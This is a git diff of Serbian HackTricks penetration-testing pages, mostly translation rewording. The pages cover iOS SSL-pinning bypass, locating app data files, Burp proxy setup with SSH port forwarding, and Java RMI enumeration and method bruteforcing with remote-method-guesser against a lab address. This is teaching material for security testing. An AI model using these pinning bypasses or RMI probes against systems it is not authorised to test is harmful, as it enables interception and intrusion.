Da biste zaobišli ovu zaštitu unutar jailbroken uređaja, možete instalirati aplikaciju [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ili instalirati [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Takođe možete koristiti `ios sslpinning disable` iz **objection-a**
|
||||
Takođe možete koristiti `ios sslpinning disable` iz **objection-a**.
|
||||
|
||||
## Razno
|
||||
|
||||
* U **`/System/Library`** možete pronaći okvire instalirane u telefonu koje koriste sistemski programi
|
||||
* Aplikacije instalirane od strane korisnika iz App Store-a nalaze se unutar **`/User/Applications`**
|
||||
* A **`/User/Library`** sadrži podatke sačuvane od strane aplikacija na nivou korisnika
|
||||
* Možete pristupiti **`/User/Library/Notes/notes.sqlite`** da pročitate beleške sačuvane unutar aplikacije.
|
||||
* **`/User/Library`** sadrži podatke koje čuvaju aplikacije na nivou korisnika
|
||||
* Možete pristupiti **`/User/Library/Notes/notes.sqlite`** da biste pročitali beleške sačuvane unutar aplikacije.
|
||||
* Unutar fascikle instalirane aplikacije (**`/User/Applications/<APP ID>/`**) možete pronaći neke zanimljive datoteke:
|
||||
* **`iTunesArtwork`**: Ikona korišćena od strane aplikacije
|
||||
* **`iTunesArtwork`**: Ikona koju koristi aplikacija
|
||||
* **`iTunesMetadata.plist`**: Informacije o aplikaciji korišćene u App Store-u
|
||||
* **`/Library/*`**: Sadrži postavke i keš. U **`/Library/Cache/Snapshots/*`** možete pronaći snimak izvršen aplikaciji pre nego što je poslata u pozadinu.
|
||||
|
||||
### Vruće Popravljanje/Ažuriranje
|
||||
### Brzo Popravljanje/Ažuriranje
|
||||
|
||||
Razvojni timovi mogu daljinski **popraviti sve instalacije svoje aplikacije odmah** bez potrebe da ponovo podnose aplikaciju App Store-u i čekaju odobrenje.\
|
||||
Programeri mogu daljinski **popraviti sve instalacije svoje aplikacije odmah** bez potrebe da ponovo podnesu aplikaciju App Store-u i čekaju odobrenje.\
|
||||
Za tu svrhu se obično koristi [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ali postoje i druge opcije poput [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Ovo je opasan mehanizam koji bi mogao biti zloupotrebljen od strane zlonamernih SDK-ova, stoga se preporučuje proveriti koji metod se koristi za automatsko ažuriranje (ako postoji) i testirati ga.** Možete pokušati da preuzmete prethodnu verziju aplikacije u tu svrhu.
|
||||
**Ovo je opasna mehanizam koji bi mogao biti zloupotrebljen od strane zlonamernih SDK-ova, stoga se preporučuje proveriti koji metod se koristi za automatsko ažuriranje (ako postoji) i testirati ga.** Možete pokušati da preuzmete prethodnu verziju aplikacije u tu svrhu.
|
||||
|
||||
### Treće Strane
|
||||
|
||||
Značajan izazov sa **SDK-ovima trećih strana** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Razvojni timovi se suočavaju sa izborom: ili integrišu SDK i prihvate sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme privatnosti, ili potpuno odustanu od njegovih prednosti. Često, razvojni timovi nisu u mogućnosti da zakrpe ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje u zajednici, neki od njih mogu početi da sadrže zlonamerni softver.
|
||||
Značajan izazov sa **SDK-ovima trećih strana** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrišu SDK i prihvate sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme privatnosti, ili potpuno odustanu od njegovih prednosti. Često, programeri nisu u mogućnosti da poprave ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje u zajednici, neki od njih mogu početi da sadrže zlonamerni softver.
|
||||
|
||||
Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje reklama ili poboljšanja korisničkog iskustva. Međutim, ovo uvodi rizik jer razvojni timovi možda nisu potpuno svesni koda koji se izvršava od strane ovih biblioteka, što može dovesti do potencijalnih rizika po privatnost i sigurnost. Važno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da osetljivi podaci nisu izloženi.
|
||||
Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje reklama ili poboljšanja korisničkog iskustva. Međutim, to uvodi rizik jer programeri možda nisu potpuno svesni koda koji se izvršava od strane ovih biblioteka, što dovodi do potencijalnih rizika po privatnost i sigurnost. Važno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da nijedni osetljivi podaci nisu izloženi.
|
||||
|
||||
Implementacija usluga trećih strana obično dolazi u dva oblika: samostalna biblioteka ili potpuni SDK. Da bi se zaštitila privatnost korisnika, svi podaci koji se dele sa ovim uslugama trebalo bi da budu **anonimizovani** kako bi se sprečilo otkrivanje lično identifikacionih informacija (PII).
|
||||
Implementacija usluga trećih strana obično dolazi u dva oblika: samostalna biblioteka ili potpuni SDK. Da bi se zaštitila privatnost korisnika, svi podaci podeljeni sa ovim uslugama treba da budu **anonimizovani** kako bi se sprečilo otkrivanje lično identifikacionih informacija (PII).
|
||||
|
||||
Da bi se identifikovale biblioteke koje aplikacija koristi, može se koristiti komanda **`otool`**. Ovaj alat treba pokrenuti protiv aplikacije i svake deljene biblioteke koje koristi kako bi se otkrile dodatne biblioteke.
|
||||
Da bi se identifikovale biblioteke koje aplikacija koristi, može se koristiti komanda **`otool`**. Ovaj alat treba pokrenuti protiv aplikacije i svake deljene biblioteke koju koristi kako bi se otkrile dodatne biblioteke.
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
|
@ -1126,7 +1128,7 @@ otool -L <application_path>
|
|||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||||
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||||
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS besplatni kurs ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS besplatni kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||||
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||||
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||||
|
@ -1136,10 +1138,10 @@ otool -L <application_path>
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -1154,6 +1156,6 @@ Drugi načini podrške HackTricks-u:
|
|||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,19 +14,19 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete tokove rada** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Instaliranje Burp Sertifikata na iOS uređajima
|
||||
|
||||
Za analizu sigurnog web saobraćaja i SSL pinning na iOS uređajima, Burp Suite se može koristiti ili putem **Burp Mobile Assistant**-a ili putem ručne konfiguracije. U nastavku je sažet vodič za oba metoda:
|
||||
Za analizu sigurnog web saobraćaja i SSL pinning na iOS uređajima, Burp Suite se može koristiti ili putem **Burp Mobile Assistant** ili putem ručne konfiguracije. U nastavku je sažet vodič za oba metoda:
|
||||
|
||||
### Automatizovana instalacija pomoću Burp Mobile Assistant-a
|
||||
### Automatizovana instalacija pomoću Burp Mobile Assistant
|
||||
|
||||
**Burp Mobile Assistant** pojednostavljuje proces instalacije Burp sertifikata, konfiguracije proksi servera i SSL Pinning-a. Detaljno uputstvo možete pronaći na [zvaničnoj dokumentaciji PortSwigger-a](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
|
||||
|
||||
|
@ -49,16 +49,16 @@ Za korisnike sa jailbroken uređajima, SSH preko USB-a (putem **iproxy**) nudi m
|
|||
```bash
|
||||
iproxy 2222 22
|
||||
```
|
||||
2. **Udaljeno prosleđivanje porta:** Prosledite port 8080 uređaja sa iOS-om na localhost računara kako biste omogućili direktni pristup interfejsu Burp-a.
|
||||
2. **Udaljeno prosleđivanje porta:** Prosledite port 8080 uređaja iOS uređaja na localhost računara kako biste omogućili direktni pristup interfejsu Burp-a.
|
||||
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
```
|
||||
3. **Globalno podešavanje proksija:** Na kraju, konfigurišite Wi-Fi podešavanja uređaja sa iOS-om da koriste ručni proksi, usmeravajući sav web saobraćaj kroz Burp.
|
||||
3. **Globalno podešavanje proksija:** Na kraju, konfigurišite Wi-Fi podešavanja iOS uređaja da koriste ručni proksi, usmeravajući sav web saobraćaj kroz Burp.
|
||||
|
||||
### Potpuno praćenje/snifiranje mreže
|
||||
### Potpuno praćenje/snižavanje mreže
|
||||
|
||||
Efikasno praćenje saobraćaja uređaja koji nije HTTP može se sprovoditi korišćenjem **Wireshark**-a, alata sposobnog za hvatanje svih oblika podataka. Za iOS uređaje, praćenje saobraćaja u realnom vremenu olakšano je kreiranjem Remote Virtual Interface-a, proces detaljno opisan u [ovom Stack Overflow postu](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Pre početka, instalacija **Wireshark**-a na macOS sistemu je preduslov.
|
||||
Efikasno praćenje saobraćaja uređaja koji nije HTTP može se sprovoditi korišćenjem **Wireshark**-a, alata sposobnog za hvatanje svih oblika podataka. Za iOS uređaje, praćenje saobraćaja u realnom vremenu omogućeno je kreiranjem Remote Virtual Interface-a, proces detaljno opisan u [ovom Stack Overflow postu](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Pre početka, instalacija **Wireshark**-a na macOS sistemu je preduslov.
|
||||
|
||||
Postupak uključuje nekoliko ključnih koraka:
|
||||
|
||||
|
@ -103,11 +103,11 @@ Koraci za konfigurisanje Burp-a kao proxy-ja:
|
|||
|
||||
* Kliknite na _**Ok**_ i zatim na _**Apply**_
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -117,7 +117,7 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION
|
|||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
Obično su samo podrazumevane _Java RMI_ komponente (RMI registar i Aktivacioni sistem) vezane za uobičajene portove. _Udaljeni objekti_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove, kao što je prikazano u prethodnom izlazu.
|
||||
Obično su samo podrazumevane _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezane za uobičajene portove. _Udaljeni objekti_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove, kao što je prikazano u prethodnom izlazu.
|
||||
|
||||
_nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebalo bi dalje istražiti.
|
||||
_nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ servisa. Ako naiđete na nepoznat ssl servis na uobičajenom _RMI_ portu, trebalo bi dalje istražiti.
|
||||
|
||||
## RMI Komponente
|
||||
|
||||
Da bismo to pojednostavili, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. To otvara _TCP_ port na kojem klijenti mogu da se povežu i pozivaju metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoje nekoliko izazova koje _Java RMI_ mora da reši:
|
||||
Da bismo to pojednostavili, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. To otvara _TCP_ port na kojem se klijenti mogu povezati i pozivati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoje nekoliko izazova koje _Java RMI_ mora rešiti:
|
||||
|
||||
1. Da bi prosledili poziv metode putem _Java RMI_, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta (ObjID je jedinstveni i nasumični identifikator koji se kreira kada je objekat dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu).
|
||||
2. Udaljeni klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti sakupljeni smećem.
|
||||
1. Da bi prosledili poziv metode putem _Java RMI_-ja, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada je objekat dostupan na mreži. Potreban je jer _Java RMI_ dozvoljava više objekata da slušaju na istom _TCP_ portu).
|
||||
2. Udaljeni klijenti mogu alocirati resurse na serveru pozivanjem metoda na izloženom objektu. _Java virtuelna mašina_ mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti sakupljeni smećem.
|
||||
|
||||
Prvi izazov rešava _RMI registar_, koji je u osnovi servis za imenovanje za _Java RMI_. Sam _RMI registar_ takođe je _RMI servis_, ali implementisani interfejs i `ObjID` su fiksni i poznati svim _RMI_ klijentima. To omogućava _RMI_ klijentima da koriste _RMI_ registar samo znajući odgovarajući _TCP_ port.
|
||||
Prvi izazov je rešen _RMI registrom_, koji je u osnovi servis za imenovanje za _Java RMI_. _RMI registar_ sam po sebi takođe je _RMI servis_, ali implementisani interfejs i `ObjID` su fiksni i poznati svim _RMI_ klijentima. To omogućava _RMI_ klijentima da koriste _RMI_ registar samo znajući odgovarajući _TCP_ port.
|
||||
|
||||
Kada programeri žele da njihovi _Java objekti_ budu dostupni unutar mreže, obično ih vezuju za _RMI registar_. Registar čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom (vezano ime). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registra_ odgovarajuće _vezano ime_, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je suštinski ista kao sa običnom _DNS_ uslugom. Sledeći prikazuje mali primer:
|
||||
Kada programeri žele da njihovi _Java objekti_ budu dostupni unutar mreže, obično ih vezuju za _RMI registar_. _Registar_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom (_vezano ime_). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registra_ odgovarajuće _vezano ime_, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je suštinski ista kao sa običnim _DNS_ servisom. Sledeći prikazuje mali primer:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
@ -71,7 +71,7 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
Drugi od pomenutih izazova rešava se preko _Distribuiranog sakupljača smeća_ (_DGC_). Ovo je još jedna _RMI usluga_ sa poznatom vrednošću `ObjID` i dostupna je na praktično svakom _RMI krajnjem tačkom_. Kada _RMI klijent_ počne da koristi _RMI uslugu_, šalje informaciju _DGC_-u da je odgovarajući _udaljeni objekat_ u upotrebi. _DGC_ zatim može pratiti broj referenci i može očistiti nekorišćene objekte.
|
||||
Drugi od pomenutih izazova rešava se preko _Distribuiranog sakupljača smeća_ (_DGC_). Ovo je još jedna _RMI usluga_ sa dobro poznatom vrednošću `ObjID` i dostupna je na praktično svakom _RMI endpointu_. Kada _RMI klijent_ počne da koristi _RMI uslugu_, šalje informaciju _DGC_-u da je odgovarajući _udaljeni objekat_ u upotrebi. _DGC_ može pratiti broj referenci i može očistiti nekorišćene objekte.
|
||||
|
||||
Zajedno sa zastarelim _Sistemom aktivacije_, ovo su tri podrazumevana komponente _Java RMI_-ja:
|
||||
|
||||
|
@ -79,11 +79,11 @@ Zajedno sa zastarelim _Sistemom aktivacije_, ovo su tri podrazumevana komponente
|
|||
2. _Sistem aktivacije_ (`ObjID = 1`)
|
||||
3. _Distribuirani sakupljač smeća_ (`ObjID = 2`)
|
||||
|
||||
Podrazumevane komponente _Java RMI_-ja poznate su kao vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama _Java_-ja. Sa perspektive napadača, ove podrazumevane komponente su interesantne, jer su implementirane poznate klase / interfejsi i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI usluge_. Da biste pozvali metod na _udaljenom objektu_, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa _RMI uslugom_.
|
||||
Podrazumevane komponente _Java RMI_-ja poznate su kao vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama _Java_-ja. Sa perspektive napadača, ove podrazumevane komponente su interesantne, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI usluge_. Da biste pozvali metod na _udaljenom objektu_, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa _RMI uslugom_.
|
||||
|
||||
## Enumeracija RMI
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je skener ranjivosti _Java RMI_-ja koji je sposoban da automatski identifikuje uobičajene _RMI ranjivosti_. Svaki put kada identifikujete _RMI_ krajnju tačku, trebalo bi da probate:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je skener ranjivosti _Java RMI_-ja koji je sposoban da automatski identifikuje uobičajene _RMI ranjivosti_. Svaki put kada identifikujete _RMI_ endpoint, trebalo bi da probate:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
|
@ -143,9 +143,9 @@ $ rmg enum 172.17.0.2 9010
|
|||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
Izlaz akcije enumeracije je detaljnije objašnjen na [stranicama dokumentacije](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projekta. Na osnovu rezultata, trebalo bi pokušati da potvrdite identifikovane ranjivosti.
|
||||
Izlaz akcije enumeracije je detaljnije objašnjen na [stranicama dokumentacije](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projekta. Na osnovu rezultata, trebalo bi da pokušate da potvrdite identifikovane ranjivosti.
|
||||
|
||||
Vrednosti `ObjID` koje prikazuje _remote-method-guesser_ mogu se koristiti za određivanje vremena rada usluge. Ovo može pomoći u identifikaciji drugih ranjivosti:
|
||||
Vrednosti `ObjID` koje prikazuje _remote-method-guesser_ mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti:
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
|
@ -158,9 +158,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|||
```
|
||||
## Bruteforcing Remote Methods
|
||||
|
||||
Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne _RMI_ usluge i dalje mogu otkriti opasne funkcije. Štaviše, iako je komunikacija _RMI_ sa podrazumevanim komponentama zaštićena filterima za deserializaciju, kada se radi sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu na snazi. Poznavanje validnih potpisa metoda na _RMI_ uslugama stoga je od vrednosti.
|
||||
Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne _RMI_ usluge i dalje mogu otkriti opasne funkcije. Štaviše, iako je komunikacija _RMI_ prema podrazumevanim komponentama zaštićena filterima za deserializaciju, kada se radi sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu na snazi. Poznavanje validnih potpisa metoda na _RMI_ uslugama stoga je vredno.
|
||||
|
||||
Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _udaljenim objektima_. Ipak, moguće je probati potpise metoda pomoću alatki poput [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _udaljenim objektima_. Ipak, moguće je probati potpise metoda alatima poput [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
|
@ -225,7 +225,7 @@ Više informacija možete pronaći u ovim člancima:
|
|||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Pored pogađanja, takođe biste trebali pretražiti pretraživače ili _GitHub_ za interfejs ili čak implementaciju naiđenog _RMI_ servisa. _Bound name_ i ime implementovane klase ili interfejsa mogu biti od pomoći ovde.
|
||||
Pored pogađanja, takođe treba da pretražite pretraživače ili _GitHub_ za interfejs ili čak implementaciju naiđenog _RMI_ servisa. _Bound name_ i ime implementovane klase ili interfejsa mogu biti korisni ovde.
|
||||
|
||||
## Poznati interfejsi
|
||||
|
||||
|
@ -301,8 +301,6 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|||
## Reference
|
||||
|
||||
